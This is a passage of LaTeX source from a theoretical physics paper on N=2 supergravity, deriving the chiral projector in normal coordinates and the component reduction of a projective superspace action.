E_{\hat{\mu}}{}^{\hat{\delta}}\zeta^{\hat{\gamma}} R_{\hat{\gamma}}{}_{\hat{\delta}}{}_{\hat{\alpha}}{}^{\hat{\beta}}
\label{eq-connect}~.
\end{eqnarray}
To first order in $\zeta$, the latter gives
\begin{eqnarray}
\Phi^{(1)}{}_{\hat{\mu}}{}_{\hat{\alpha}}{}^{\hat{\beta}}&=&
\frac12\delta_{\hat{\mu}}{}^{\hat{\delta}} R_{\hat{\delta}}{}_{\hat{\gamma}}{}_{\hat{\alpha}}{}^{\hat{\beta}}|\zeta^{\hat{\gamma}}~.
\end{eqnarray}
To compute $E_{\hat{\mu}}{}^{\hat{\alpha}}$ to second order in $\zeta$,
it is handy to use equation (\ref{str-curvature2}) which gives
\begin{eqnarray}
E^{(2)}{}_{\hat{\mu}}{}^{\hat{\alpha}} &=&
{1\over 6} \delta_{\hat{\mu}}{}^{\hat{\delta}} R_{{\hat{\delta}}}{}_{\hat{\gamma}}{}_{\hat{\beta}}{}^{\hat{\alpha}}|\zeta^{\hat{\beta}}\zeta^{\hat{\gamma}}
\label{viel-2}~.
\end{eqnarray}
Next, making use of (\ref{viel-1}) and
(\ref{eq-connect}) gives
\begin{eqnarray}
\Phi^{(2)}{}_{\hat{\mu}}{}_{\hat{\alpha}}{}^{\hat{\beta}} &=&
\frac{1}{ 3}
\delta_{\hat{\mu}}{}^{\hat{\delta}}( \cD_{\hat{\rho}}R_{\hat{\delta}}{}_{\hat{\gamma}}{}_{\hat{\alpha}}{}^{\hat{\beta}})|\zeta^{\hat{\gamma}}\zeta^{\hat{\rho}}~.
\end{eqnarray}
Here we have used, for the first time, the covariant Taylor expansion (\ref{Taylor2})
of the curvature. Further iterations lead to
\begin{subequations}
\begin{eqnarray}
E^{(3)}{}_{\hat{\mu}}{}^{\hat{\alpha}} &=&
-{1\over 12} \delta_{\hat{\mu}}{}^{\hat{\delta}}(\cD_{\hat{\rho}} R_{{\hat{\delta}}}{}_{\hat{\gamma}}{}_{\hat{\beta}}{}^{\hat{\alpha}})|
\zeta^{\hat{\beta}}\zeta^{\hat{\gamma}} \zeta^{\hat{\rho}}~, \\
\Phi^{(3)}{}_{\hat{\mu}}{}_{\hat{\alpha}}{}^{\hat{\beta}}&=&
\frac{1}{8}\delta_{\hat{\mu}}{}^{\hat{\tau}}
\Big({1\over 3} R_{{\hat{\tau}}}{}_{\hat{\rho}}{}_{\hat{\delta}}{}^{{\hat{\delta}}'} R_{{\hat{\delta}}'}{}_{\hat{\gamma}}{}_{\hat{\alpha}}{}^{\hat{\beta}}
+(\cD_{\hat{\rho}} \cD_{{\hat{\delta}}}R_{\hat{\tau}}{}_{\hat{\gamma}}{}_{\hat{\alpha}}{}^{\hat{\beta}})\Big)\Big|
\zeta^{\hat{\gamma}}\zeta^{{\hat{\delta}}}\zeta^{\hat{\rho}}~, \\
E^{(4)}{}_{\hat{\mu}}{}^{\hat{\alpha}} & = &
{1\over 20}\delta_{\hat{\mu}}{}^{\hat{\beta}}\Big(
{1\over 6}R_{{\hat{\beta}}\hat{\tau}\hat{\rho}}{}^{{\hat{\delta}}'}R_{{\hat{\delta}}'{\hat{\delta}}}{}_{{\hat{\gamma}}}{}^{\hat{\alpha}}
+ (\cD_{\hat{\tau}}\cD_{\hat{\rho}}R_{{\hat{\beta}}{\hat{\delta}}}{}_{{\hat{\gamma}}}{}^{\hat{\alpha}})
\Big)\Big|
\zeta^{\hat{\gamma}}\zeta^{\hat{\delta}} \zeta^{\hat{\rho}}\zeta^{\hat{\tau}}~.
\end{eqnarray}
\end{subequations}
As a result, we have computed the components $E^{(n)}{}_{\hat{\mu}}{}^{\hat{\alpha}}$ of the vielbein,
\begin{eqnarray}
E_{\hat{\mu}}{}^{{\hat{\alpha}}}&=& \delta_{\hat{\mu}}{}^{\hat{\alpha}}
+E^{(2)}{}_{\hat{\mu}}{}^{\hat{\alpha}} +E^{(3)}{}_{\hat{\mu}}{}^{\hat{\alpha}}
+E^{(4)}{}_{\hat{\mu}}{}^{\hat{\alpha}}~.
\label{viel}
\end{eqnarray}
Since $E_{\hat{\mu}}{}^{\hat{a}}=0$,
the components $E_{{\hat{\alpha}}}{}^{\hat{\mu}}$ of the inverse vielbein
constitute the inverse of the matrix (\ref{viel})
which can be easily computed.
Now, the master equation (\ref{E-master3-chiral}) becomes
\begin{eqnarray}
\zeta\cdot\pa\ln E&=&
\delta_{\hat{\alpha}}{}^{\hat{\mu}}\Phi^{(1)}{}_{\hat{\mu}}{}_{\hat{\beta}}{}^{\hat{\alpha}}{}\zeta^{\hat{\beta}}
+\delta_{\hat{\alpha}}{}^{\hat{\mu}}\Phi^{(2)}{}_{\hat{\mu}}{}_{\hat{\beta}}{}^{\hat{\alpha}}{}\zeta^{\hat{\beta}}
+\delta_{\hat{\alpha}}{}^{\hat{\mu}}\Phi^{(3)}{}_{\hat{\mu}}{}_{\hat{\beta}}{}^{\hat{\alpha}}{}\zeta^{\hat{\beta}}
- \delta_{{\hat{\alpha}}}{}^{\hat{\nu}} \delta_{{\hat{\gamma}}}{}^{\hat{\mu}}E^{(2)}{}_{\hat{\nu}}{}^{{\hat{\gamma}}}
\Phi^{(1)}{}_{\hat{\mu}}{}_{\hat{\beta}}{}^{\hat{\alpha}}{}\zeta^{\hat{\beta}}
\nonumber\\
&&
+\delta_{\hat{\alpha}}{}^{\hat{\mu}}E^{(2)}{}_{\hat{\mu}}{}^{{\hat{\alpha}}}
-\delta_{\hat{\alpha}}{}^{\hat{\mu}}\delta_{\hat{\gamma}}{}^{\hat{\nu}}E^{(2)}{}_{\hat{\mu}}{}^{{\hat{\gamma}}} E^{(2)}{}_{\hat{\nu}}{}^{{\hat{\alpha}}}
+\delta_{\hat{\alpha}}{}^{\hat{\mu}}E^{(3)}{}_{\hat{\mu}}{}^{{\hat{\alpha}}}
+\delta_{\hat{\alpha}}{}^{\hat{\mu}}E^{(4)}{}_{\hat{\mu}}{}^{{\hat{\alpha}}}
~.~~~~~~
\label{compute-2}
\end{eqnarray}
At this stage, we need the explicit form of the curvature
$R_{\hat{\alpha}}{}_{\hat{\beta}}{}_{\hat{\gamma}}{}^{\hat{\delta}}$.
In accordance with (\ref{torsion-curvature}), it can be read off from
the anticommutator
$\{\cDB^\ad_i,\cDB^\bd_j\}$, eq. (\ref{acr2}).
\begin{eqnarray}
R_{\hat{\alpha}}{}_{\hat{\beta}}{}_{\hat{\gamma}}{}^{\hat{\delta}}&=&
R^\ad_i{\,}^\bd_j{\,}^{\dot\gamma}_k{\,}_{\dot\delta}^l \nonumber \\
&=&
\Big(4\bar{S}_{ij}\ve^{{\dot\gamma}(\ad}\delta^{\bd)}_{\dot\delta}\delta_k^l
+2\ve_{ij}\ve^{\ad\bd}\bar{Y}^{{\dot\gamma}}{}_{{\dot\delta}}\delta_k^l
+2\ve_{ij}\ve^{\ad\bd}\bar{S}_k{}^{l}\delta^{\dot\gamma}_{\dot\delta}
+4\bar{Y}^{\ad\bd}\ve_{k(i}\delta_{j)}^l\delta^{\dot\gamma}_{\dot\delta}
\Big)~,
\label{curv-1}
\end{eqnarray}
and hence
\begin{eqnarray}
R_{\hat{\alpha}}{}_{\hat{\beta}}{}_{\hat{\gamma}}{}^{\hat{\alpha}}&=&
-4\bar{S}_{jk}\ve^{\bd{\dot\gamma}}
-4\bar{Y}^{\bd{\dot\gamma}}\ve_{jk}
~.
\label{curv-2}
\end{eqnarray}
Now, using (\ref{curv-2}), the relations
\begin{eqnarray}
\zeta^{\hat{\alpha}} \zeta^{\hat{\beta}}
&=&
\frac12\big(\ve^{ij}\zeta_{\ad\bd}-\ve_{\ad\bd}\zeta^{ij}\big)~,~~~~~~
\zeta_{\ad\bd}:=\zeta_{\ad k} \zeta_\bd^k=\zeta_{\bd\ad}~,~~~
\zeta^{ij}:=\zeta_{\dot\gamma}^i \zeta^{{\dot\gamma} j}=\zeta^{ji}~,
\\
&&~~~~~~~~~~~~
\zeta^{\hat{\alpha}}\zeta^{\hat{\beta}}\zeta^{\hat{\gamma}}=
{1\over 3}\ve^{jk}\ve_{\ad(\bd}\zeta_{{\dot\gamma})q}\zeta^{iq}
-{1\over 3}\ve_{\bd{\dot\gamma}}\ve^{i(j}\zeta_{\ad q}\zeta^{k)q}
~,~~~~~~~~~~~~~~~
\end{eqnarray}
and the Bianchi identities (\ref{Bianchi-3/2-2}),
one can prove that
\begin{eqnarray}
\delta_{\hat{\alpha}}{}^{\hat{\mu}}E^{(3)}{}_{\hat{\mu}}{}^{{\hat{\alpha}}}=0~.
\end{eqnarray}
Then eq. (\ref{compute-2}) drastically simplifies
\begin{eqnarray}
\zeta\cdot\pa\ln E&=&
-{1\over 3} R_{\hat{\alpha}}{}_{\hat{\gamma}}{}_{\hat{\beta}}{}^{\hat{\alpha}}|\zeta^{\hat{\beta}} \zeta^{\hat{\gamma}}
+{1\over 45}R_{\hat{\alpha}}{}_{\hat{\tau}}{}_{\hat{\rho}}{}^{\hat{\delta}}
R_{\hat{\delta}}{}_{\hat{\gamma}}{}_{\hat{\beta}}{}^{\hat{\alpha}}|\zeta^{\hat{\beta}}\zeta^{\hat{\gamma}}\zeta^{\hat{\rho}}\zeta^{\hat{\tau}}
~.~~~~~~
\label{eq-3-3}
\end{eqnarray}
Making use of the relations (\ref{curv-1}) and (\ref{curv-2}) along with the identities
\begin{subequations}
\begin{eqnarray}
&&\zeta^4:={1\over 3}\zeta^{ij}\zeta_{ij}~,~~~
\zeta^{ij}\zeta^{kl}=-\ve^{i(k}\ve^{l)j}\zeta^4~,~~~
\zeta_{\ad\bd}\zeta_{{\dot\gamma}{\dot\delta}}=\ve_{\ad({\dot\gamma}}\ve_{{\dot\delta})\bd}\zeta^4
~,~~~
\zeta_{\ad\bd}\zeta^{ij}=0~,~~~~~~
\\
&&~~~~~~~~~~~~~~~~~~
\zeta^{\hat{\alpha}}\zeta^{\hat{\beta}}\zeta^{{\hat{\gamma}}}\zeta^{{\hat{\delta}}}
=
{1\over 4}\big(\ve^{ij}\ve^{kl}\ve_{\ad({\dot\gamma}}\ve_{{\dot\delta})\bd}
-\ve_{\ad\bd}\ve_{{\dot\gamma}{\dot\delta}}\ve^{i(k}\ve^{l)j}\big)\zeta^4~,
\end{eqnarray}
\end{subequations}
equation (\ref{eq-3-3}) becomes
\begin{eqnarray}
\zeta\cdot\pa\ln E&=&
{4\over 3}\bar{Y}^{\ad\bd}|\zeta_{\ad\bd}
-{4\over 3}\bar{S}_{ij}|\zeta^{ij}
+{8\over 27}\big(
\bar{Y}^{\ad\bd}\bar{Y}_{\ad\bd}
-\bar{S}_{ij}\bar{S}^{ij}
\big)\big|
\zeta^4
~.~~~~~~
\end{eqnarray}
Its solution is given by the simple formula
\begin{eqnarray}
E&=&
\cE\Big(
1
+{2\over 3}\bar{Y}^{\ad\bd}|\zeta_{\ad\bd}
-{2\over 3}\bar{S}_{ij}|\zeta^{ij}
\Big)~,~~~~~~~~
\label{E-cE}
\end{eqnarray}
where $\cE={\rm Ber} \,(\cE_{\hat m}{}^{\hat a})$ is the chiral density.
Relation (\ref{E-cE}) can be used to reduce an integral over the full superspace
to that over the chiral subspace.
Consider the functional
\begin{eqnarray}
\int {\rm d}^4 x \,{\rm d}^4\theta{\rm d}^4{\bar \theta}\,E\, U
=\int {\rm d}^4 x \,{\rm d}^4\theta {\rm d}^4\zeta\,E(\tilde{z}, \zeta) \, U(\tilde{z}, \zeta) ~,
\end{eqnarray}
where $U(z)$ is a scalar and isoscalar superfield,
and $\tilde{z}^{\hat m}= (x^m, \theta^\mu_i$) the variables parametrizing the chiral subspace.
In the normal coordinates, one represents
$U$ by its covariant Taylor expansion in $\zeta$,
eq. (\ref{Taylor2}), then evaluates the product $E\,U$,
and finally performs the integration over ${\rm d}^4\zeta$.
The result is as follows:
\begin{eqnarray}
\int {\rm d}^4 x \,{\rm d}^4\theta{\rm d}^4{\bar \theta}\,E\, U
= \int {\rm d}^4x \,{\rm d}^4 \theta \, \cE \, \bar{\Delta} U \big|~.
\label{chiralproj1}
\end{eqnarray}
Here $\bar{\Delta}$ denotes the following fourth-order operator:
\begin{eqnarray}
\bar{\Delta}
&=&\frac{1}{96} \Big((\cDB^{ij}+16\bar{S}^{ij})\cDB_{ij}
-(\cDB^{\ad\bd}-16\bar{Y}^{\ad\bd})\cDB_{\ad\bd} \Big)
\nonumber\\
&=&\frac{1}{96} \Big(\cDB_{ij}(\cDB^{ij}+16\bar{S}^{ij})
-\cDB_{\ad\bd}(\cDB^{\ad\bd}-16\bar{Y}^{\ad\bd}) \Big)~,
\label{chiral-pr}
\end{eqnarray}
where we have defined
\begin{eqnarray}
\cDB^{\ad\bd}:=\cDB^{(\ad}_k\cDB^{\bd)k}~,\qquad
\cDB_{ij}:=\cDB_{{\dot\gamma}(i}\cDB_{j)}^{\dot\gamma}~.
\end{eqnarray}
The operator $\bar{\Delta}$ is the $\cN=2$ covariantly chiral projector \cite{Muller}.
Its fundamental property is that $\bar{\Delta} U$ is covariantly chiral,
for any scalar and isoscalar superfield $U(z)$,
\begin{equation}
{\bar \cD}^{\ad}_i \bar{\Delta} U =0~.
\end{equation}
In section 5, we obtain a different representation for the chiral projector.
\section{Density formula in $\cN=2$ supergravity}
\setcounter{equation}{0}
In this section, the supergravity action (\ref{InvarAc}) is reduced to components using the principle
of projective invariance. We start by elaborating some auxiliary tools.
\subsection{Relating the superspace and the space-time covariant derivatives}
${}$For any superfield $U(z)$ we define its projection $U|$ to be
the lowest component in the expansion of $U(x,\theta, \bar \theta)$ with respect to
$\theta$s and $\bar \theta$s,
\begin{eqnarray}
U (z)|:=U(x,\theta, \bar \theta)|_{\theta={\bar \theta}=0}~.
\end{eqnarray}
One can similarly define the projection of the covariant derivatives:
\begin{eqnarray}
\cD_A|:=E_A{}^M(z)|\pa_M+\frac12\Omega_A{}^{bc}(z)|M_{bc}+\Phi_A{}^{kl}(z)|J_{kl}~.
\end{eqnarray}
More generally, given a gauge covariant operator of the form $\cD_{A_1} \dots \cD_{A_n}$,
its projection $\big(\cD_{A_1} \dots \cD_{A_n}\big)\big|$ is defined as
\begin{eqnarray}
\Big( \big(\cD_{A_1} \dots \cD_{A_n}\big)\big| U \Big)\Big|
:= \big(\cD_{A_1} \dots \cD_{A_n}U\big)\big|~,
\end{eqnarray}
with $U$ an arbitrary tensor superfield.
The reader should keep in mind that the projection operation defined above differs from that
used in section 3.
${}$In the case of the vector covariant derivatives, $\cD_a$,
their projection can be represented in the form:
\begin{eqnarray}
\cD_a|={\nabla}_a
+\Psi_a{}^\gamma_k(x)\cD_\gamma^k|+\bar{\Psi}_a{}_{\dot\gamma}^k(x)\cDB^{\dot\gamma}_k|
+\phi_a{}^{kl}(x)J_{kl}~,~~~~~~
\label{cD_a-proj}
\end{eqnarray}
with ${\nabla}_a$ a space-time covariant derivative,
\begin{eqnarray}
{\nabla}_a=e_a+\omega_a~,\qquad
e_a=e_a{}^m(x)\pa_m~,\quad
\omega_a=\frac12\omega_a{}^{bc}(x)M_{bc}~.
\end{eqnarray}
Here we have introduced several component gauge fields
defined as follows:
\begin{subequations}
\begin{eqnarray}
E_a{}^m(z)|&=&e_a{}^m(x)
+\Psi_a{}^\gamma_k(x)E_\gamma^k{}^m(z)|
+\bar{\Psi}_a{}_{\dot\gamma}^k(x)E^{\dot\gamma}_k{}^m(z)|
\label{no-gauge-1}
~,\\
E_a{}^\mu_r(z)|&=&\Psi_a{}^\gamma_k(x)E_\gamma^k{}^\mu_r(z)|
+\bar{\Psi}_a{}_{\dot\gamma}^k(x)E^{\dot\gamma}_k{}^\mu_r(z)|~,
\label{no-gauge-2}
\\
E_a{}_{\dot{\mu}}^r(z)|&=&\Psi_a{}^\gamma_k(x)E_\gamma^k{}_{\dot{\mu}}^r(z)|
+\bar{\Psi}_a{}_{\dot\gamma}^k(x)E^{\dot\gamma}_k{}_{\dot{\mu}}^r(z)|~,
\label{no-gauge-3}
\\
\Omega_a{}^{bc}(z)|&=&\omega_{a}{}^{bc}(x)
+\Psi_a{}^\gamma_k(x)\Omega^k_\gamma{}^{bc}(z)|
+\bar{\Psi}_a{}_{\dot\gamma}^k\Omega_k^{\dot\gamma}{}^{bc}(z)|
~,\label{no-gauge-4}
\\
\Phi_a{}^{kl}(z)|&=&\phi_{a}{}^{kl}(x)
+\Psi_a{}^\beta_j(x)\Omega^j_\beta{}^{kl}(z)|
+\bar{\Psi}_a{}_\bd^j\Omega_j^\bd{}^{kl}(z)|
~.\label{no-gauge-5}
\end{eqnarray}
\end{subequations}
These include the inverse vielbein $e_a{}^m$, the Lorentz connection $\omega_{a}{}^{bc}$
and the SU(2)-connection $\phi_{a}{}^{kl}$, as well as the gravitino fields
$\Psi_a{}^\gamma_k$ and $\bar{\Psi}_a{}_{\dot\gamma}^k$.
It is worth noting that if one chooses an $\cN=2$ analogue of Wess-Zumino gauge \cite{WZ2}
defined as
\begin{eqnarray}
\cD_\alpha^i|={\pa\over\pa\theta^\alpha_i}~,\qquad
\cDB^\ad_i|={\pa\over\pa{\bar{\theta}}_\ad^i}
~,
\end{eqnarray}
then the relations
(\ref{no-gauge-1})--(\ref{no-gauge-5}) considerably simplify and take the form:
\begin{subequations}
\begin{eqnarray}
&E_a{}^m(z)|=e_a{}^m(x)~,\qquad
E_a{}^\gamma_k(z)|=\Psi_a{}^\gamma_k(x)~,\qquad
E_a{}_{\dot\gamma}^k(z)|=\bar{\Psi}_a{}_{\dot\gamma}^k(x)~,\\
&
\Omega_a{}^{bc}(z)|=\omega_{a}{}^{bc}(x)~,\qquad
\Phi_a{}^{kl}(z)|=\phi_{a}{}^{kl}(x)
~.
\end{eqnarray}
\end{subequations}
The space-time covariant derivatives obey the commutation relations
\begin{eqnarray}
[{\nabla}_a,{\nabla}_b]&=&\cT_{ab}{}^c(x){\nabla}_c
+\frac12\cR_{ab}{}^{cd}(x)M_{cd}~.
\end{eqnarray}
Here the torsion tensor determines the rule for integration by parts:
\begin{eqnarray}
\int{\rm d}^4x\, e\,{\nabla}_a v^a=
\int{\rm d}^4x\, e\,v^a \cT_a{}_b{}^b~, \qquad e^{-1}:= \det (e_a{}^m)~,
\label{integ-by-parts}
\end{eqnarray}
with $v^a$ an arbitrary vector field.
The space-time torsion $\cT_{ab}{}^c$ and curvature $\cR_{ab}{}^{cd}$
can be related to those appearing in the superspace (anti-)commutation relations
(\ref{acr1}--\ref{acr5}). Using the definition (\ref{cD_a-proj}) and eqs.
(\ref{acr1}--\ref{acr5}), one can
evaluate the projection of
the commutator $[\cD_a,\cD_b]$ to be
\begin{eqnarray}
&&[\cD_a,\cD_b]|=
\cT_{ab}{}^c{\nabla}_c
-4{\rm i}\Psi_{[a}{}^\gamma_k\bar{\Psi}_{b]}{}_{\dot\delta}^k{\nabla}_\gamma{}^{\dot\delta}
+\frac12\cR_{ab}{}^{cd}M_{cd}
-\Psi_{[a}{}^\gamma_kR_{b]}{}_\gamma^k{}^{cd}|M_{cd}
-\bar{\Psi}_{[a}{}_{\dot\gamma}^kR_{b]}{}^{\dot\gamma}_k{}^{cd}|M_{cd}
\nonumber
\\
&&~~~
+\frac12\Psi_{[a}{}^\gamma_k\Psi_{b]}{}^\delta_lR_\gamma^k{}_\delta^l{}^{cd}|M_{cd}
+\frac12\bar{\Psi}_{[a}{}_{\dot\gamma}^k\bar{\Psi}_{b]}{}_{\dot\delta}^lR^{\dot\gamma}_k{}^{\dot\delta}_l{}^{cd}|M_{cd}
+\Psi_{[a}{}^\gamma_k\bar{\Psi}_{b]}{}_{\dot\delta}^lR_\gamma^k{}^{\dot\delta}_l{}^{cd}|M_{cd}
+2({\nabla}_{[a}\Psi_{b]}{}^\gamma_k)\cD_\gamma^k|
\nonumber
\\
&&~~~
-2\Psi_{[a}{}^\alpha_iT_{b]}{}_\alpha^i{}^\gamma_k\cD_\gamma^k|
-2\bar{\Psi}_{[a}{}_\ad^iT_{b]}{}^\ad_i{}^\gamma_k\cD_\gamma^k|
-2\phi_{[a}{}_k{}^{l}\Psi_{b]}{}^\gamma_l\cD_\gamma^k|
-4{\rm i}\Psi_{[a}{}^\delta_l\bar{\Psi}_{b]}{}_{\dot\delta}^l\Psi_\delta{}^{\dot\delta}{}^\gamma_k\cD_\gamma^k|
\nonumber
\\
&&~~~
+2({\nabla}_{[a}\bar{\Psi}_{b]}{}_{\dot\gamma}^k)\cDB^{\dot\gamma}_k|
-2\Psi_{[a}{}^\alpha_iT_{b]}{}_\alpha^i{}_{\dot\gamma}^k\cDB^{\dot\gamma}_k|
-2\bar{\Psi}_{[a}{}_{\dot\gamma}^iT_{b]}{}^\gamma_i{}_{\dot\gamma}^k\cDB^{\dot\gamma}_k|
+2\phi_{[a}{}^{k}{}_{l}\bar{\Psi}_{b]}{}_{{\dot\gamma}}^l\cDB^{\dot\gamma}_k|
\nonumber
\\
&&~~~
-4{\rm i}\Psi_{[a}{}^\delta_l\bar{\Psi}_{b]}{}_{\dot\delta}^l\bar{\Psi}_\delta{}^{\dot\delta}{}_{\dot\gamma}^k\cDB^{\dot\gamma}_k|
+2({\nabla}_{[a}\phi_{b]}{}^{kl})J_{kl}
-2\Psi_{[a}{}^\gamma_jR_{b]}{}_\gamma^j{}^{kl}|J_{kl}
-2\bar{\Psi}_{[a}{}_{\dot\gamma}^jR_{b]}{}^{\dot\gamma}_j{}^{kl}|J_{kl}
\nonumber
\\
&&~~~
+\Psi_{[a}{}^\gamma_i\Psi_{b]}{}^\delta_jR_\gamma^i{}_\delta^j{}^{kl}|J_{kl}
+\bar{\Psi}_{[a}{}_{\dot\gamma}^i\bar{\Psi}_{b]}{}_{\dot\delta}^jR^{\dot\gamma}_i{}^{\dot\delta}_j{}^{kl}|J_{kl}
+2\Psi_{[a}{}^\gamma_i\bar{\Psi}_{b]}{}_{\dot\delta}^jR_\gamma^i{}^{\dot\delta}_j{}^{kl}|J_{kl}
+2\phi_{[a}{}^{k}{}_j\phi_{b]}{}^{jl}J_{kl}
\nonumber
\\
&&~~~
-4{\rm i}\Psi_{[a}{}^\gamma_j\bar{\Psi}_{b]}{}_{\dot\delta}^j\phi_\gamma{}^{\dot\delta}{}^{kl}J_{kl}~.
\end{eqnarray}
On the other hand, the commutator $[\cD_a,\cD_b]$
can be evaluated using eqs. (\ref{acr1}--\ref{acr5}).
Comparing the similar structures on both sides gives a number
of important relations including the following:
\begin{subequations}
\begin{eqnarray}
\cT_{ab}{}^c&=&
4{\rm i}\Psi_{[a}{}^\gamma_k\bar{\Psi}_{b]}{}_{\dot\delta}^k(\sigma^c)_\gamma{}^{\dot\delta}~,
\label{T-1}
\\
({\nabla}_{[a}\Psi_{b]}{}^\gamma_k)&=&
\frac12 T_{ab}{}^\gamma_k|
+\Psi_{[a}{}^\alpha_iT_{b]}{}_\alpha^i{}^\gamma_k|
+\bar{\Psi}_{[a}{}_\ad^iT_{b]}{}^\ad_i{}^\gamma_k|
+\phi_{[a}{}_k{}^{l}\Psi_{b]}{}^\gamma_l
+2{\rm i}\Psi_{[a}{}^\delta_l\bar{\Psi}_{b]}{}_{\dot\delta}^l\Psi _\delta{}^{\dot\delta}{}^\gamma_k
\label{D-Psi}
~,\\
({\nabla}_{[a}\bar{\Psi}_{b]}{}_{\dot\gamma}^k)
&=&
\frac12 T_{ab}{}_{\dot\gamma}^k|
+\Psi_{[a}{}^\alpha_iT_{b]}{}_\alpha^i{}_{\dot\gamma}^k|
+\bar{\Psi}_{[a}{}_\ad^iT_{b]}{}^\ad_i{}_{\dot\gamma}^k|
-\phi_{[a}{}^{k}{}_{l}\bar{\Psi}_{b]}{}_{{\dot\gamma}}^l
+2{\rm i}\Psi_{[a}{}^\delta_l\bar{\Psi}_{b]}{}_{\dot\delta}^l\bar{\Psi}_\delta{}^{\dot\delta}{}_{\dot\gamma}^k~,
\label{D-Psi-bar}
\\
\cR_{ab}{}^{cd}&=&
R_{ab}{}^{cd}|
+2\Psi_{[a}{}^\gamma_kR_{b]}{}_\gamma^k{}^{cd}|
+2\bar{\Psi}_{[a}{}_{\dot\gamma}^kR_{b]}{}^{\dot\gamma}_k{}^{cd}|
-\Psi_{[a}{}^\gamma_k\Psi_{b]}{}^\delta_lR_\gamma^k{}_\delta^l{}^{cd}|
\nonumber\\
&&
-\bar{\Psi}_{[a}{}_{\dot\gamma}^k\bar{\Psi}_{b]}{}_{\dot\delta}^lR^{\dot\gamma}_k{}^{\dot\delta}_l{}^{cd}|
-2\Psi_{[a}{}^\gamma_k\bar{\Psi}_{b]}{}_{\dot\delta}^lR_\gamma^k{}^{\dot\delta}_l{}^{cd}|
~,\\
({\nabla}_{[a}\phi_{b]}{}^{kl})
&=&
\frac12 R_{ab}{}^{kl}|
+\Psi_{[a}{}^\gamma_jR_{b]}{}_\gamma^j{}^{kl}|
+\bar{\Psi}_{[a}{}_{\dot\gamma}^jR_{b]}{}^{\dot\gamma}_j{}^{kl}|
-\frac12\Psi_{[a}{}^\gamma_i\Psi_{b]}{}^\delta_jR_\gamma^i{}_\delta^j{}^{kl}|
-\frac12\bar{\Psi}_{[a}{}_{\dot\gamma}^i\bar{\Psi}_{b]}{}_{\dot\delta}^jR^{\dot\gamma}_i{}^{\dot\delta}_j{}^{kl}|
\nonumber\\
&&
-\Psi_{[a}{}^\gamma_i\bar{\Psi}_{b]}{}_{\dot\delta}^jR_\gamma^i{}^{\dot\delta}_j{}^{kl}|
-\phi_{[a}{}^{k}{}_j\phi_{b]}{}^{jl}
+2{\rm i}\Psi_{[a}{}^\gamma_j\bar{\Psi}_{b]}{}_{\dot\delta}^j\phi_\gamma{}^{\dot\delta}{}^{kl}~.
\end{eqnarray}
\end{subequations}
In what follows, we will often use eq. (\ref{T-1}), (\ref{D-Psi}) and (\ref{D-Psi-bar}).
\subsection{The component action }
We turn to demonstrating that the component reduction of action (\ref{InvarAc}) is
\begin{eqnarray}
S&=&
\oint_C {\rm d} \mu^{(-2,-4)}
\int{\rm d}^4 x \,e
\Big{[}
\frac{1}{ 16}({\cD}^-)^2(\cDB^-)^2
+\frac{3}{ 4}S^{--}(\cDB^-)^2
+\frac{3}{ 4}\bar{S}^{--}(\cD^{-})^2
+9S^{--}\bar{S}^{--}
\nonumber\\
&&
+\frac{{\rm i} }{4}\Psi^{\alpha\ad}{}_\alpha^{-}(\cD^-)^2\cDB_\ad^{-}
+\frac{{\rm i}}{4}\bar{\Psi}^{\alpha\ad}{}_\ad^{-}(\cDB^{-})^2\cD_\alpha^{ -}
-\phi^{\alpha\ad}{}^{--}\cD_{\alpha }^-\cDB_{\ad}^-
\nonumber \\
&&
+(\sigma^{ab})^{\alpha\beta} \Psi_{a}{}_\alpha^{-} \Big( \Psi_{b}{}_\beta^{-}(\cD^-)^2
+2 \bar{\Psi}_{b}{}^{\bd-}\cD_\beta^{-}\cDB_{\bd}^{-} \Big)
+({\tilde{\sigma}}^{ab})^{\ad\bd}
\bar{\Psi}_a{}_{\ad}^{-} \Big(
\bar{\Psi}_b{}_\bd^{-}
(\cDB^{-})^2
+2 \Psi_{b}{}^{\beta-} \cD_\beta^{-}\cDB_{\bd}^{-} \Big)
\nonumber\\
&&
+3{\rm i} \Big( \bar{\Psi}^{\alpha\ad}{}_\ad^{-}\bar{S}^{--}\cD_\alpha^{-}
+\Psi^{\alpha\ad}{}_\alpha^{-}S^{--}\cDB_\ad^{-}\Big)
-4
\phi_{a}{}^{--} \Big(
(\sigma^{ab})^{\beta\gamma}
\Psi_{b}{}_{\beta}^-\cD_{\gamma}^-
-({\tilde{\sigma}}^{ab})^{\bd{\dot\gamma}}
\bar{\Psi}_{b}{}_{\bd}^-\cDB_{\dot\gamma}^{-}\Big) \nonumber \\
&&
+4\ve^{abcd}(\sigma_d)_{\alpha\bd}\Psi_{a}{}^{\alpha-}\bar{\Psi}_{b}{}^{\bd-} \Big(
\Psi_{c}{}^{\gamma-}
\cD_\gamma^{-}
+\bar{\Psi}_c{}^{{\dot\gamma}-}\cDB_{\dot\gamma}^{-} \Big)
-12\ve^{abcd}(\sigma_d)_{\alpha\bd}\Psi_{a}{}^{\alpha -}\bar{\Psi}_b{}^{\bd-}\phi_{c}{}^{--}
\nonumber \\
&&+12(\sigma^{ab})^{\alpha\beta}\Psi_a{}_\alpha^{-}\Psi_{b}{}_\beta^{-}S^{--}
+12({\tilde{\sigma}}^{ab})^{\ad\bd}\bar{\Psi}_a{}_\ad^{-}\bar{\Psi}_b{}_{\bd}^{-}\bar{S}^{--}
\Big{]}\cL^{++}(z,u^+)\Big|~,
~~~~~~~~~
\label{Sfin-0}
\end{eqnarray}
where
\begin{equation}
S^{\pm\pm}:=u^\pm_iu^\pm_j S^{ij}~,\qquad
\Psi_a{}_\alpha^{\pm}:=u^\pm_i\Psi_a{}_\alpha^i~,
\qquad \phi_a{}^{\pm\pm}:=u^\pm_iu^\pm_j\phi_a{}^{ij}~,
\end{equation}
and similarly for ${\bar S}^{\pm\pm}$ and $\bar{\Psi}_a{}_\ad^{\pm}$.
The spinor derivatives $\cD^-_\alpha$ and ${\bar \cD}^-_\ad$
are obtained from $\cD^+_\alpha$ and ${\bar \cD}^+_\ad$
defined in (\ref{ana-introduction}) by replacing
$u^+_i \to u^-_i$.
The contour integration measure in (\ref{Sfin-0}) is defined as follows:
\begin{equation}
{\rm d} \mu^{(-2,-4)}\equiv -{1\over 2\pi}{u_i^+{\rm d} u^{+i}\over (u^+u^-)^4}
= -{1\over 2\pi}{(\dt{u}^+ u^+) \over (u^+u^-)^4}\,{\rm d} t ~,
\label{measure}
\end{equation}
with $t$ an evolution parameter along the contour $C$,
and $\dt{f}:= {\rm d} f(t)/ {\rm d} t$ the time derivative of a function $f(t)$.
